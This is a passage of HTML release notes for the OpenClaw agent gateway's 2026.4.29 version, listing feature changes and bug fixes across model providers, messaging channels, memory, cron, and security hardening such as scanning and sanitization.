<li>Provider/model coverage expands with NVIDIA onboarding/catalogs plus faster manifest-backed model/auth paths, Bedrock Opus 4.7 thinking parity, and safer Codex/OpenAI-compatible replay and streaming behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway and packaged-plugin reliability focuses on slow-host startup, reusable model catalogs, event-loop readiness diagnostics, runtime-dependency repair, stale-session recovery, and version-scoped update caches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Channel fixes cluster around Slack Block Kit limits, Telegram proxy/webhook/polling/send resilience, Discord startup/rate-limit handling, WhatsApp delivery/liveness, and Microsoft Teams/Matrix/Feishu edge cases. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Security and operations add OpenGrep scanning, sharper GHSA triage policy, safer exec/pairing/owner-scope handling, Docker/onboarding automation, and web-fetch IPv6 ULA opt-in for trusted proxy stacks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
</ul>
<h2>2026.4.29</h2>
<h3>Changes</h3>
<ul>
<li>Agents/commitments: add opt-in inferred follow-up commitments with hidden batched extraction, per-agent/per-channel scoping, heartbeat delivery, CLI management, a simple <code>commitments.enabled</code>/<code>commitments.maxPerDay</code> config, and heartbeat-interval due-time clamping so magical check-ins do not echo immediately. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348684831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74189/hovercard" href="https://github.com/openclaw/openclaw/pull/74189">#74189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Messages/queue: make <code>steer</code> drain all pending Pi steering messages at the next model boundary, keep legacy one-at-a-time steering as <code>queue</code>, and add a dedicated steering queue docs page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages/queue: default active-run queueing to <code>steer</code> with a 500ms followup fallback debounce, and document the queue modes, precedence, and drop policies on the command queue page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages: add global <code>messages.visibleReplies</code> so operators can require visible output to go through <code>message(action=send)</code> for any source chat, while <code>messages.groupChat.visibleReplies</code> stays available as the group/channel override. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>Gateway/events: surface <code>spawnedBy</code> on subagent chat and agent broadcast payloads so clients can route child session events without an extra session lookup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226049569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63244" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63244/hovercard" href="https://github.com/openclaw/openclaw/pull/63244">#63244</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Memory/wiki: add agent-facing people wiki metadata, canonical aliases, person cards, relationship graphs, privacy/provenance reports, evidence-kind drilldown, and search modes for person lookup, question routing, source evidence, and raw claims. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: add optional per-conversation <code>allowedChatIds</code> and <code>deniedChatIds</code> filters so operators can enable recall only for selected direct, group, or channel conversations while keeping broad sessions skipped. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280170574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67977/hovercard" href="https://github.com/openclaw/openclaw/pull/67977">#67977</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>.</li>
<li>Active Memory: return bounded partial recall summaries when the hidden memory sub-agent times out, including the default temporary-transcript path, so useful recovered context is not discarded. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340395145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73219/hovercard" href="https://github.com/openclaw/openclaw/pull/73219">#73219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>Gateway/memory: add a read-only <code>doctor.memory.remHarness</code> RPC so operator clients can preview bounded REM dreaming output without running mutation paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263469272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66673" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66673/hovercard" href="https://github.com/openclaw/openclaw/pull/66673">#66673</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Providers/NVIDIA: add the NVIDIA provider with API-key onboarding, setup docs, static catalog metadata, and literal model-ref picker support so NVIDIA hosted models can be selected with their provider prefix intact. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324848945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71204/hovercard" href="https://github.com/openclaw/openclaw/pull/71204">#71204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Models: suppress explicitly configured openai-codex/gpt-5.4-mini inline entries so a stale models config written by <code>openclaw doctor --fix</code> cannot bypass the manifest capability block and cause repeated assistant-turn failures when the runtime switches to that model on ChatGPT-backed Codex accounts. Conditional suppressions (e.g. qwen Coding Plan endpoint guards) remain bypassable by explicit user configuration. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Added SQLite-backed plugin state store (<code>api.runtime.state.openKeyedStore</code>) for restart-safe keyed registries with TTL, eviction, and automatic plugin isolation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugin SDK: mark remaining legacy alias exports and diffs tool/config aliases with deprecation metadata, and add a guard so future legacy alias comments require <code>@deprecated</code> tags. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/QR/dependencies: internalize small terminal progress and QR wrapper helpers while keeping the real QR encoder dependency direct, reducing the default runtime dependency graph without changing QR output behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Dependencies: refresh workspace runtime, plugin, and tooling packages, including ACP, Pi, AWS SDK, TypeBox, pnpm, oxlint, oxfmt, jsdom, pdfjs, ciao, and tokenjuice, while keeping patched ACP behavior and lint gates current. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>Gateway/dev: run <code>pnpm gateway:watch</code> through a named tmux session by default, with <code>gateway:watch:raw</code> and <code>OPENCLAW_GATEWAY_WATCH_TMUX=0</code> for foreground mode, so repeated starts respawn an inspectable watcher without trapping the invoking agent shell. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/diagnostics: emit an opt-in startup diagnostics timeline that records gateway lifecycle and plugin-load phases behind a config flag, so slow-start diagnosis no longer requires bespoke instrumentation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Control UI/i18n: extend the locale registry with new Persian (fa), Dutch (nl), Vietnamese (vi), Italian (it), Arabic (ar), and Thai (th) entries and ship <code>fa</code>, <code>nl</code>, <code>vi</code>, and <code>zh-TW</code> docs glossaries, so the docs translation pipeline and the Control UI language picker stay aligned across surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: add Yuanbao channel docs entrance so the Tencent Yuanbao bot appears in the channel listing and sidebar navigation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341969080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73443/hovercard" href="https://github.com/openclaw/openclaw/pull/73443">#73443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Channels/Yuanbao: update plugin GitHub location to YuanbaoTeam/yuanbao-openclaw-plugin and add "yuanbao" alias to channel catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349371764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74253/hovercard" href="https://github.com/openclaw/openclaw/pull/74253">#74253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Docker setup: add <code>OPENCLAW_SKIP_ONBOARDING</code> so automated Docker installs can skip the interactive onboarding step while still applying gateway defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148855578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55518/hovercard" href="https://github.com/openclaw/openclaw/pull/55518">#55518</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>.</li>
<li>Security policy: classify media/base64 decode and format-conversion overhead after configured acceptance limits as performance-only for GHSA triage unless a report demonstrates a limit bypass, crash, exhaustion, data exposure, or another boundary bypass. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350238747" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74311" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74311/hovercard" href="https://github.com/openclaw/openclaw/pull/74311">#74311</a>)</li>
<li>Security/OpenGrep: add a precise OpenGrep rulepack, source-rule compiler, provenance metadata check, and PR/full scan workflows that validate first-party code and rulepack-only changes while uploading SARIF to GitHub Code Scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299142364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69483/hovercard" href="https://github.com/openclaw/openclaw/pull/69483">#69483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Security/outbound: strip re-formed HTML tags during plain-text sanitization so nested tag fragments cannot leave a CodeQL-detected <code>&lt;script&gt;</code> sequence behind. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/secrets: compare credential bytes with padded timing-safe buffers instead of hashing candidate passwords before equality checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/QQBot: sanitize debug log arguments before writing to <code>console.*</code>, so gateway payload fields cannot forge extra log lines when debug logging is enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QQBot: unify slash command auth and c2cOnly gating in the command registry, pass <code>allowQQBotDataDownloads</code> when sending slash command file attachments, align clear-storage with actual downloads directory, and add <code>/bot-me</code> to display sender user ID. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344118368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73616/hovercard" href="https://github.com/openclaw/openclaw/pull/73616">#73616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>.</li>
<li>CLI/agents/status: keep <code>openclaw agents</code>, text <code>agents list</code>, and plain text <code>status</code> on read-only metadata paths so human output no longer preloads plugin runtimes or live channel scans before printing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348784023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74195/hovercard" href="https://github.com/openclaw/openclaw/issues/74195">#74195</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/local models: derive context-window guard thresholds from the effective model window with 4k/8k safety floors, so small local models are no longer rejected by fixed 16k/32k preflight cutoffs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056859962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42999/hovercard" href="https://github.com/openclaw/openclaw/issues/42999">#42999</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengjialu8888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengjialu8888">@chengjialu8888</a>.</li>
<li>PDF extraction: resolve PDF.js standard fonts from the installed package root and pass a filesystem path to the Node fallback extractor, so built-in font PDFs render without <code>file://</code> URL lookup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111579816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51455/hovercard" href="https://github.com/openclaw/openclaw/issues/51455">#51455</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320477272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70936/hovercard" href="https://github.com/openclaw/openclaw/pull/70936">#70936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134943079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54447/hovercard" href="https://github.com/openclaw/openclaw/pull/54447">#54447</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214513630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62175" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62175/hovercard" href="https://github.com/openclaw/openclaw/pull/62175">#62175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JuanRdBO/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JuanRdBO">@JuanRdBO</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solomonneas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solomonneas">@solomonneas</a>.</li>
<li>Media: treat legacy Word/OLE attachments with <code>application/msword</code> or <code>application/x-cfb</code> MIME as binary so printable-looking <code>.doc</code> files are not embedded into prompts as text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131935972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54176/hovercard" href="https://github.com/openclaw/openclaw/issues/54176">#54176</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4133810089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54380" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54380/hovercard" href="https://github.com/openclaw/openclaw/pull/54380">#54380</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</li>
<li>Config: accept documented <code>browser.tabCleanup</code> keys in strict root config validation, so configured tab cleanup no longer fails before runtime reads it. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353207232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74577/hovercard" href="https://github.com/openclaw/openclaw/issues/74577">#74577</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ezdlp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ezdlp">@ezdlp</a>.</li>
<li>Cron: validate disabled job schedule edits before persisting updates, so invalid cron changes no longer partially mutate stored jobs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351895210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74459" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74459/hovercard" href="https://github.com/openclaw/openclaw/issues/74459">#74459</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</li>
<li>CLI/cron: warn when <code>openclaw cron add --message</code> omits a nonblank <code>--agent</code>, including blank agent values and session-key jobs, so scheduled agent-turn jobs make default-agent fallback explicit while system events stay quiet. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051936623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42196/hovercard" href="https://github.com/openclaw/openclaw/issues/42196">#42196</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052315763" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42245" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42245/hovercard" href="https://github.com/openclaw/openclaw/pull/42245">#42245</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a>.</li>
<li>Channels/status: keep Telegram, Slack, and Google Chat read-only allowlist/default-target accessors on config-only paths, so status and channel summaries do not resolve SecretRef-backed runtime credentials. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Active Memory: clarify the deprecated <code>modelFallbackPolicy</code> warning and config help so <code>modelFallback</code> is described as a chain-resolution last resort, not runtime failover. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353454562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74602/hovercard" href="https://github.com/openclaw/openclaw/pull/74602">#74602</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>Channels/Discord: keep read-only allowlist/default-target accessors from resolving SecretRef-backed bot tokens, so status and channel summaries no longer fail when tokens are only available in gateway runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354779461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74737/hovercard" href="https://github.com/openclaw/openclaw/pull/74737">#74737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Gateway/sessions: align session abort wait semantics across <code>chat</code>, <code>agent</code>, and <code>sessions</code> server methods so abort RPCs return after the targeted sessions actually halt instead of resolving early while runs are still draining. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354883943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74751/hovercard" href="https://github.com/openclaw/openclaw/pull/74751">#74751</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
